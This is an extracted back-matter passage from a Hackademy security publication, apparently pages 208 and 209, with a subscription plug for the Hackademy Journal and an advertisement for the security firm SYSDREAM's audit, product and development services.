the HACKADEMY ,c'est aussi:<br />
The <strong>Hack</strong>ademy Journal, The <strong>Hack</strong>ademy manal et and other special<br />
issues!!!!!<br />
So don't hesitate to subscribe, by filling in the following form:<br />
The <strong>Hack</strong>ademy DMP -208/209- SYSDREAM
Created by trainers from The <strong>Hack</strong>ademy, SYSDREAM is a s<strong>of</strong>tware house that specializes in IT<br />
security.<br />
We <strong>of</strong>fer companies our expertise to ensure their IT<br />
infrastructure's reliability and security.<br />
We specialize in:<br />
• <strong>Security</strong> Audits: a global appraisal <strong>of</strong> your system (intrusive test, technical audit, vulnerability<br />
audit).<br />
• Systech security products: material solutions destined to reinforce your infrastructure's security,<br />
while insuring an efficient follow-up for any type <strong>of</strong> network or system event.<br />
• Application development: we can intervene or advise you in all development phases <strong>of</strong> your<br />
application.<br />
For further information: info@sysdream.com<br />
www.sysdream.com<br />
The <strong>Hack</strong>ademy DMP -209/209- SYSDREAM